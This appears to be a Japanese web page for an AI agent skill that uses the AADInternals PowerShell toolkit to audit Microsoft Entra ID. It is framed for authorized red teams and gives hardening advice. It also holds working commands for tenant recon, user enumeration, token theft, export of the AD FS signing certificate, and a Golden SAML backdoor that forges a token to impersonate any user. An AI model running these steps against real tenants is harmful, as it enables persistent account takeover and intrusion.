Communitygithub.com

AADInternalsによるEntra IDの監査

AADInternals PowerShellツールキットを利用して、Microsoft Entra IDのテナント偵察、Microsoft APIへのアクセストークン取得、およびフェデレーション/AD FSバックドアテスト(Golden SAML、T1606.002)を実施し、防御的検証を行います。承認されたEntra ID/Microsoft 365レッドチーム評価で、外部攻撃面のマッピングやAD FS署名証明書のGolden SAML耐性確認に使用します。

AADInternalsによるEntra IDの監査 とは?

このスキルは、AADInternals PowerShellツールキットを駆使して、Microsoft Entra ID(旧Azure AD)のセキュリティ評価を自動化します。AADInternalsは、Nestori Syynimaa博士(Gerenios / Secureworks)によって開発された、Entra ID、Azure AD Connect、AD FS向けの最も包括的な攻撃・管理用ツールキットであり、特にフェデレーションバックドア(Golden SAML、MITRE ATT&CK T1606.002)で知られています。このスキルでは、資格情報不要の外部偵察(Invoke-AADIntReconAsOutsider)、各種Microsoft API(AAD Graph、MS Graph、Exchange Onlineなど)へのアクセストークン取得、認証済みディレクトリ列挙、そして制御された環境でのフェデレーションバックドア/Golden SAMLパスの検証を行います。主なターゲットプラットフォームはWindows上のPowerShell 5.1+(一部PowerShell 7対応)で、クロスプラットフォームの外部偵察にはAADOutsider-pyも利用可能です。防御的検証を目的とし、最終的に得られた証拠と脆弱性(トークン署名証明書の保護、フェデレーションモニタリング)に基づく改善推奨事項を出力します。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

AADInternalsによるEntra IDの監査 は何をしますか?

法的注意: このスキルは、許可されたセキュリティテスト、レッドチーム演習、および教育目的のみで使用してください。AADInternalsはSAMLトークンを偽造し、テナントの任意のユーザーになりすまし可能な永続的なフェデレーションバックドアをインストールできます。自分が所有しているか、明示的な書面による許可(テスト実施規則)があるテナントに対してのみ使用してください。不正使用は、コンピュータ詐欺及び不正使用防止法および同等の法律に違反します。

概要

AADInternalsは、Dr. Nestori Syynimaa(Gerenios / Secureworks)によって作成された、Microsoft Entra ID(旧Azure AD)、Azure AD Connect、およびActive Directory Federation Services (AD FS)向けの最も包括的な攻撃/管理用PowerShellツールキットです。AADIntプレフィックスが付いた数百のコマンドレットを公開しており、認証なしの外部偵察、すべてのMicrosoft APIへのアクセストークン取得、ディレクトリ操作、AD FS/PTA攻撃、そして最も有名な機能であるフェデレーションバックドアをカバーしています。このバックドアは、Set-MsolDomainFederationSettings/ConvertTo-AADIntBackdoorパスを悪用し、フェデレーションドメインのIssuerUriを制御する攻撃者が任意のユーザーに対してSAMLトークンを生成できるようにします。これはMITRE ATT&CK T1606.002(偽装Web資格情報:SAMLトークン) に該当し、SolarWinds(Golden SAML)侵入で使用された技術と同じクラスです。

このツールキットは、必要な権限に応じて機能が分かれています。Invoke-AADIntReconAsOutsiderとGet-AADIntLoginInformationは資格情報を必要とせず、公開エンドポイント(getuserrealm、OpenID設定、自動検出)にクエリを実行して、確認済みドメイン、テナントID、フェデレーションの種類、ブランド、およびデスクトップSSO/シームレスSSOの有効性を明らかにします。足がかりを得ると、Get-AADIntAccessTokenFor* コマンドレットでAzure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Managementなどのトークンを取得し、必要に応じてキャッシュして後続のコマンドレットで再利用できます。グローバル管理者(または同期されたAD Connectアカウント)を使用すると、ディレクトリのシークレットを読み取り、ユーザーを操作し、フェデレーションバックドアを確立できます。

このスキルは、防御的検証のレンズを通してAADInternalsを駆動します。外部の攻撃者が何を学習できるか、低権限トークンが何に到達できるか、フェデレーション/AD FS構成がGolden SAMLを許容するかどうかを確認し、証拠と強化の推奨事項を生成します。

使用すべきタイミング

  • 許可されたEntra ID / Microsoft 365 レッドチームまたは侵入を想定した評価中
  • 資格情報攻撃の前に、外部攻撃面(確認済みドメイン、フェデレーションの種類、SSO)を列挙するため
  • フェデレーションとAD FSトークン署名証明書がGolden SAMLから保護されていることを検証するため
  • Microsoft第一党API間でのトークン取得とリプレイをテストするため
  • 検出ルールを構築する際(ブルーチームのGraphログハンティングスキルと組み合わせる)、実際のAADInternalsテレメトリが必要な場合

前提条件

  • アイデンティティ攻撃とフェデレーションバックドアテストをカバーする書面による許可
  • PowerShell 5.1+(またはサポートされているサブセットのPowerShell 7)を搭載したWindowsホスト
  • バックドア/フェデレーションテストの場合:対象テナントのグローバル管理者(または同等)権限、テスト実施規則の範囲内であること
  • PowerShellギャラリーからモジュールをインストールする:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # クロスプラットフォームのAsOutsider専用再実装(資格情報不要)も利用可能:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • SAML/WS-Federation、OAuthトークン、およびAzure AD Connectに関する知識

目標

  • 認証なしのテナント偵察を実行し、確認済みドメイン、テナントID、およびフェデレーションの種類を列挙する
  • Microsoft第一党APIのアクセストークンを取得してキャッシュする
  • 認証済みトークンでユーザー/グループ/ロールを列挙する
  • 制御された承認された方法でフェデレーションバックドア/Golden SAMLパスをテストする
  • 露出を文書化し、強化の推奨事項(トークン署名証明書の保護、フェデレーションモニタリング)を提供する

MITRE ATT&CK マッピング

IDテクニックこのスキルでの適用
T1606.002偽装Web資格情報:SAMLトークンConvertTo-AADIntBackdoor + New-AADIntSAMLToken が、制御されたフェデレーションIssuerUriを介して任意のユーザーにSAMLトークンを偽造(Golden SAML)

関連テクニック: T1087.004 アカウント発見:クラウドアカウント(偵察)、T1528 アプリケーションアクセストークンの窃取(トークン取得)、T1556.007 認証プロセスの変更:ハイブリッドID(フェデレーション/PTAバックドア)。

ワークフロー

ステップ1:認証なしの外部偵察

資格情報は不要です。確認済みドメイン、テナントID、フェデレーションの種類、ブランド、SSOステータスを特定します。

# ドメインの完全な外部偵察(テーブル出力)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# ログイン/レルムの詳細:フェデレーション vs マネージド、AuthURL、ブランド
Get-AADIntLoginInformation -Domain "target.com"

# テナントGUID
Get-AADIntTenantID -Domain "target.com"

ステップ2:外部ユーザー列挙(オプション、ノイズが多い)

GetCredentialType / autologonエンドポイントを介してユーザー名が存在するか検証します。

# 候補のUPNのリストを指定して存在をテスト
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# またはパイプで多数を処理:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

ステップ3:アクセストークンの取得とキャッシュ

有効な資格情報(または対話型プロンプト)を使用して、必要なAPIのトークンを取得します。-SaveToCacheを使用すると、後続のコマンドレットがトークンを自動的に再利用できます。

# Azure AD Graph(レガシー graph.windows.net)トークン、キャッシュ
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph(graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

ステップ4:認証済みディレクトリ列挙

キャッシュまたは取得したトークンを使用して、ディレクトリオブジェクトを読み取り、権限をマッピングします。

# グローバルテナント情報(キャッシュされたAAD Graphトークンを使用)
Get-AADIntTenantDetails

# ユーザーを列挙し、特権/同期されたアカウントを探す
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

ステップ5:フェデレーション/AD FS構成の検査

テナントがフェデレーションドメインを使用しているかどうか、トークン署名キーがどこにあるかを判断します。これはGolden SAMLの前提条件です。

# AD FSサーバーにアクセスできる場合、トークン署名証明書をエクスポート
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# AD FS構成/暗号化キーを読み取る(AD FSボックス上またはDKM経由)
Get-AADIntADFSConfiguration -Server adfs.target.com

ステップ6:フェデレーションバックドア/Golden SAML(許可された場合のみ)

既知のIssuerUriを設定してドメインをバックドアに変換し、そのドメインのImmutableIdを使用して対象ユーザーのSAMLトークンを偽造します。明示的な許可がある制御されたテナントでのみ実行してください。

# ステップ3でキャッシュされたグローバル管理者トークン(AAD Graph)が必要
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 出力には、トークン偽造時に再利用するIssuerUriが含まれます。

# ユーザーになりすますSAMLトークンを偽造(ImmutableIdはGet-AADIntUsersから)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# 偽造トークンを使用して、なりすましたユーザーとしてポータルセッションを開く
Open-AADIntOffice365Portal -SAMLToken $saml

ステップ7:露出の文書化と強化

偵察で明らかになったこと、どのトークン/APIに到達可能だったか、バックドア/Golden SAMLパスが成功したかどうかを正確に記録します。以下を推奨します:AD FSトークン署名証明書の保護(HSM、制限付きDKMアクセス)、新しい/変更されたフェデレーション信頼に関するアラート、Set-DomainAuthentication/Set-MsolDomainFederationSettingsの監視、および可能な場合はマネージド(クラウド)認証への移行。

ツールとリソース

リソース目的ソース
AADInternalsEntra ID / AD FS 攻撃および管理ツールキットhttps://github.com/Gerenios/AADInternals
AADInternals ドキュメントコマンドレットリファレンスとテクニックの解説https://aadinternals.com/aadinternals/
AADOutsider-pyクロスプラットフォームのAsOutsider再実装https://github.com/synacktiv/AADOutsider-py
Golden SAML の背景フェデレーションバックドアテクニックの解説https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002偽装Web資格情報:SAMLトークンhttps://attack.mitre.org/techniques/T1606/002/

コマンドレットクイックリファレンス

コマンドレット権限目的
Invoke-AADIntReconAsOutsiderなし確認済みドメイン、テナントID、フェデレーションの種類、SSO
Get-AADIntLoginInformationなしドメインのレルム/ログイン詳細
Get-AADIntTenantIDなしテナントGUID
Invoke-AADIntUserEnumerationAsOutsiderなしユーザー存在確認
Get-AADIntAccessTokenForAADGraph資格情報Azure AD Graphトークン(-SaveToCache)
Get-AADIntAccessTokenForMSGraph資格情報Microsoft Graphトークン
Get-AADIntAccessTokenForEXO資格情報Exchange Onlineトークン
Get-AADIntUsersトークンディレクトリユーザーの列挙
ConvertTo-AADIntBackdoorグローバル管理者ドメインをフェデレーションバックドアに変換
New-AADIntSAMLTokenバックドアユーザーのSAMLトークンを偽造(Golden SAML)
Open-AADIntOffice365PortalSAMLトークンなりすましたユーザーとしてポータルセッションを開く

検証基準

  • 外部偵察が完了し、確認済みドメイン、テナントID、フェデレーションの種類が記録された
  • ユーザー列挙がテストされた(または範囲外として文書化された)
  • 少なくとも1つのMicrosoft APIのアクセストークンが取得され、キャッシュされた
  • 認証済みディレクトリ列挙が実行された(ユーザー/ロール、同期されたアカウントに注意)
  • フェデレーション/AD FS構成がトークン署名キーの露出について評価された
  • バックドア/Golden SAMLパスが許可された制御テナントでテストされたか、範囲外として文書化された
  • 露出が具体的な影響とともに文書化された
  • 強化の推奨事項(証明書保護、フェデレーションモニタリング、マネージド認証への移行)が提供された

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

関連スキル